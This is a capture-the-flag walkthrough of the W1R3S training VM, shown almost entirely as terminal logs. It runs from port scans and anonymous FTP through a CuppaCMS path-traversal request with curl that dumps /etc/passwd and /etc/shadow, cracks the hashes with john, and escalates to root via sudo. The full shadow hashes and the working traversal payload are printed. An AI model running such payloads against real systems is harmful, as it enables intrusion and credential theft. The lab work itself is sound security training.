w1r3s

```
 Currently scanning: 192.168.31.0/24   |   Screen View: Unique Hosts

 7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.31.1    00:50:56:c0:00:08      4     240  VMware, Inc.
 192.168.31.2    00:50:56:e5:d7:98      1      60  VMware, Inc.
 192.168.31.157  00:0c:29:a5:4f:da      1      60  VMware, Inc.
 192.168.31.254  00:50:56:eb:97:37      1      60  VMware, Inc.
```

nmap

```
root@kali:~# nmap -Pn -n -A 192.168.31.157
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-16 16:09 EDT
Nmap scan report for 192.168.31.157
Host is up (0.00086s latency).
Not shown: 966 filtered ports, 30 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 content
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 docs
|_drwxr-xr-x    2 ftp      ftp          4096 Jan 28  2018 new-employees
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.31.154
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
|   256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_  256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:A5:4F:DA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.86 ms 192.168.31.157

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.78 seconds
```

ftp

```
root@kali:~# nc 192.168.31.157 21
220 Welcome to W1R3S.inc FTP service.
user anonymous
331 Please specify the password.
pass anonymous
230 Login successful.
ls
500 Unknown command.
^C
root@kali:~# ftp 192.168.31.157
Connected to 192.168.31.157.
220 Welcome to W1R3S.inc FTP service.
Name (192.168.31.157:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get content
```

dirb

```
dirb http://192.168.31.157

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Sep 16 16:29:00 2019
URL_BASE: http://192.168.31.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.31.157/ ----
==> DIRECTORY: http://192.168.31.157/administrator/
+ http://192.168.31.157/index.html (CODE:200|SIZE:11321)
==> DIRECTORY: http://192.168.31.157/javascript/
+ http://192.168.31.157/server-status (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.31.157/wordpress/

---- Entering directory: http://192.168.31.157/administrator/ ----
==> DIRECTORY: http://192.168.31.157/administrator/alerts/
==> DIRECTORY: http://192.168.31.157/administrator/api/
==> DIRECTORY: http://192.168.31.157/administrator/classes/
==> DIRECTORY: http://192.168.31.157/administrator/components/
==> DIRECTORY: http://192.168.31.157/administrator/extensions/
+ http://192.168.31.157/administrator/index.php (CODE:302|SIZE:6952)
==> DIRECTORY: http://192.168.31.157/administrator/installation/
==> DIRECTORY: http://192.168.31.157/administrator/js/
==> DIRECTORY: http://192.168.31.157/administrator/language/
==> DIRECTORY: http://192.168.31.157/administrator/media/
+ http://192.168.31.157/administrator/robots.txt (CODE:200|SIZE:26)
==> DIRECTORY: http://192.168.31.157/administrator/templates/

---- Entering directory: http://192.168.31.157/javascript/ ----
```

```
==> DIRECTORY: http://192.168.31.157/javascript/jquery/
```

cupp cms

https://www.exploit-db.com/exploits/25971

lfi vulnerbaility if visit this cupp

curl

```
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.137/administrator/alerts/
alertConfigField.php
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.137/administrator/alerts/
alertConfigField.php
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.137/administrator/alerts/
alertConfigField.php
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.137/administrator/alerts/
alertConfigField.php
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../../etc/passwd http://192.168.31.137/administrator/alerts/
alertConfigField.php
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../../etc/passwd http://192.168.31.157/administrator/alerts/
alertConfigField.php
<style>
    .new_content{
        position: fixed;
    }
    .alert_config_field{
               font-size:12px;
               background:#FFF;
               position:relative;
               border-radius: 3px;
               box-shadow: 0px 0px 5px rgba(0,0,0,0.2);
               overflow:hidden;
               position:fixed;
               top:50%;
               left:50%;
        width:600px;
               height:440px;
               margin-left:-300px;
               margin-top:-220px;
    }
    .alert_config_top{
        position: relative;
        margin: 2px;
        margin-bottom: 0px;
        border: 1px solid #D2D2D2;
        background: #4489F8;
        overflow: auto;
        color:#FFF;
        font-size: 13px;
        padding: 7px 5px;
        box-shadow: 0 0 2px rgba(0, 0, 0, 0.1);
        text-shadow: 0 1px 1px rgba(0, 0, 0, 0.2);
    }
    .description_alert{
               position:relative;
               font-size:12px;
        text-shadow:0 1px #FFFFFF;
        font-weight: normal;
        padding: 5px 0px 5px 0px;
    }
    .btnClose_alert{
               position:absolute;
        top: 4px; right: 2px;
               width:22px;
```

```
                height:22px;
                cursor:pointer;
        background:url(js/cuppa/cuppa_images/close_white.png) no-repeat;
        background-position: center;
        background-size: 13px;
    }
    .content_alert_config{
                position:relative;
                clear:both;
        margin: 2px;
        margin-top: 0px;
        height: 401px;
        padding: 10px;
        overflow: auto;
    }
</style>
<script>
                function CloseDefaultAlert(){
                                cuppa.setContent({'load':false, duration:0.2});
        cuppa.blockade({'load':false, duration:0.2, delay:0.1});
                }
</script>
<div class="alert_config_field" id="alert">
    <div class="alert_config_top">
        <strong>Configuration</strong>:         <div class="btnClose_alert" id="btnClose_alert" onclick="CloseDefaultAlert()"></div>
    </div>
    <div id="content_alert_config" class="content_alert_config">
        root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
```

```
    </div>
</div>r
```

curl 2-shadow

```
root@kali:~# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.31.157/administrator/alerts/
alertConfigField.php
<style>
    .new_content{
        position: fixed;
    }
    .alert_config_field{
                font-size:12px;
                background:#FFF;
                position:relative;
                border-radius: 3px;
                box-shadow: 0px 0px 5px rgba(0,0,0,0.2);
                overflow:hidden;
                position:fixed;
                top:50%;
                left:50%;
        width:600px;
                height:440px;
                margin-left:-300px;
                margin-top:-220px;
    }
    .alert_config_top{
        position: relative;
        margin: 2px;
        margin-bottom: 0px;
        border: 1px solid #D2D2D2;
        background: #4489F8;
        overflow: auto;
        color:#FFF;
        font-size: 13px;
        padding: 7px 5px;
        box-shadow: 0 0 2px rgba(0, 0, 0, 0.1);
        text-shadow: 0 1px 1px rgba(0, 0, 0, 0.2);
    }
    .description_alert{
                position:relative;
                font-size:12px;
        text-shadow:0 1px #FFFFFF;
        font-weight: normal;
        padding: 5px 0px 5px 0px;
    }
    .btnClose_alert{
                position:absolute;
        top: 4px; right: 2px;
                width:22px;
                height:22px;
                cursor:pointer;
        background:url(js/cuppa/cuppa_images/close_white.png) no-repeat;
        background-position: center;
        background-size: 13px;
    }
    .content_alert_config{
                position:relative;
                clear:both;
        margin: 2px;
        margin-top: 0px;
        height: 401px;
        padding: 10px;
        overflow: auto;
    }
</style>
<script>
                function CloseDefaultAlert(){
```

```
                              cuppa.setContent({'load':false, duration:0.2});
        cuppa.blockade({'load':false, duration:0.2, delay:0.1});
                }
</script>
<div class="alert_config_field" id="alert">
    <div class="alert_config_top">
        <strong>Configuration</strong>:         <div class="btnClose_alert" id="btnClose_alert" onclick="CloseDefaultAlert()"></
div>
    </div>
    <div id="content_alert_config" class="content_alert_config">
        root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./
ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:
$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:999
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:
17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::
    </div>
</div>r
```

john

```
john password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)
```

```
john --show password.txt
?:computer

1 password hash cracked, 0 left
root@kali:~#
```

ssh

```
root@kali:~# ssh w1R3s@192.168.31.157
The authenticity of host '192.168.31.157 (192.168.31.157)' can't be established.
ECDSA key fingerprint is SHA256:/3N0PzPMqtXlj9QWJFMbCufh2W95JylZ/oF82NkAAto.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.31.157' (ECDSA) to the list of known hosts.
----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
w1R3s@192.168.31.157's password:
Permission denied, please try again.
w1R3s@192.168.31.157's password:
Permission denied, please try again.
w1R3s@192.168.31.157's password:

[1]+  Stopped                 ssh w1R3s@192.168.31.157
root@kali:~# ssh w1r3s@192.168.31.157
----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
w1r3s@192.168.31.157's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

570 packages can be updated.
386 updates are security updates.

New release '18.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

.....You made it huh?....
Last login: Mon Sep 16 13:49:28 2019 from 192.168.31.154
w1r3s@W1R3S:~$
```

ssh to shell

```
w1r3s@W1R3S:~$ ls -la
total 132
drwxr-xr-x 20 w1r3s  w1r3s   4096 Mar  7  2018 .
drwxr-xr-x  3 root   root    4096 Jan 22  2018 ..
-rw-------  1 w1r3s  w1r3s   1261 Mar  7  2018 .bash_history
-rw-r--r--  1 w1r3s  w1r3s    220 Jan 22  2018 .bash_logout
-rw-r--r--  1 w1r3s  w1r3s   3771 Jan 22  2018 .bashrc
drwx------ 13 w1r3s  w1r3s   4096 Jan 25  2018 .cache
drwx------  3 w1r3s  w1r3s   4096 Jan 22  2018 .compiz
drwx------ 14 w1r3s  w1r3s   4096 Jan 22  2018 .config
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Desktop
```

```
-rw-r--r--  1 w1r3s  w1r3s     25 Jan 22  2018 .dmrc
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Documents
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 23  2018 Downloads
-rw-r--r--  1 w1r3s  w1r3s   8980 Jan 22  2018 examples.desktop
dr-xr-xr-x  3 nobody nogroup 4096 Jan 23  2018 ftp
drwx------  2 w1r3s  w1r3s   4096 Jan 24  2018 .gconf
drwx------  3 w1r3s  w1r3s   4096 Mar  7  2018 .gnupg
-rw-------  1 w1r3s  w1r3s   6916 Mar  7  2018 .ICEauthority
drwx------  3 w1r3s  w1r3s   4096 Jan 22  2018 .local
drwx------  5 w1r3s  w1r3s   4096 Jan 23  2018 .mozilla
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Music
drwxrwxr-x  2 w1r3s  w1r3s   4096 Jan 28  2018 .nano
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Pictures
-rw-r--r--  1 w1r3s  w1r3s    655 Jan 22  2018 .profile
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Public
drwx------  2 w1r3s  w1r3s   4096 Jan 22  2018 .ssh
-rw-r--r--  1 w1r3s  w1r3s      0 Jan 22  2018 .sudo_as_admin_successful
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Templates
drwxr-xr-x  2 w1r3s  w1r3s   4096 Jan 22  2018 Videos
-rw-------  1 w1r3s  w1r3s    101 Mar  7  2018 .Xauthority
-rw-------  1 w1r3s  w1r3s   2978 Mar  7  2018 .xsession-errors
-rw-------  1 w1r3s  w1r3s   1092 Feb  6  2018 .xsession-errors.old
w1r3s@W1R3S:~$ cat .sudo_as_admin_successful
w1r3s@W1R3S:~$ sudo -l
[sudo] password for w1r3s:
Matching Defaults entries for w1r3s on W1R3S.localdomain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User w1r3s may run the following commands on W1R3S.localdomain:
    (ALL : ALL) ALL
w1r3s@W1R3S:~$ sudo -s
sudo: unable to resolve host W1R3S
root@W1R3S:~# su -
root@W1R3S:~# ls
flag.txt
root@W1R3S:~# cat flag.txt
-----------------------------------------------------------------------------------------
   ____ ___  _   _  ____ ____      _  _____ _   _ _        _  _____ ___ ___  _   _ ____
  / ___/ _ \| \ | |/ ___|  _ \    / \|_   _| | | | |      / \|_   _|_ _/ _ \| \ | / ___|
 | |  | | | |  \| | |  _| |_) |  / _ \ | | | | | | |     / _ \ | |  | | | | |  \| \___ \
 | |__| |_| | |\  | |_| |  _ <  / ___ \| | | |_| | |___ / ___ \| |  | | |_| | |\  |___) |
  \____\___/|_| \_|\____|_| \_\/_/   \_\_|  \___/|_____/_/   \_\_| |___\___/|_| \_|____/

-----------------------------------------------------------------------------------------


                        .-----------------TTTT_-----_______
                      /''''''''''(______O] ----------____  \______/]_
     __...---'"""\_ --''   Q                               ___________@
 |'''                   ._   _______________=---------"""""""
 |                ..--''|   l L |_l   |
 |          ..--''      .  /-___j '   '
 |    ..--''           /  ,       '   '
 |--''                /           `    \
                      L__'         \    -
                                    -    '-.
                                     '.    /
                                       '-./

----------------------------------------------------------------------------------------
  YOU HAVE COMPLETED THE
               __      __  ______________________   _________
              /  \    /  \/_   \______   \_____  \ /   _____/
              \   \/\/   / |   ||       _/ _(__  < \_____  \
               \        /  |   ||    |   \/       \/        \
                \__/\  /   |___||____|_  /______  /_______  /.INC
                     \/                \/       \/        \/        CHALLENGE, V 1.0
----------------------------------------------------------------------------------------

CREATED BY SpecterWires

----------------------------------------------------------------------------------------
```

```
root@W1R3S:~#
```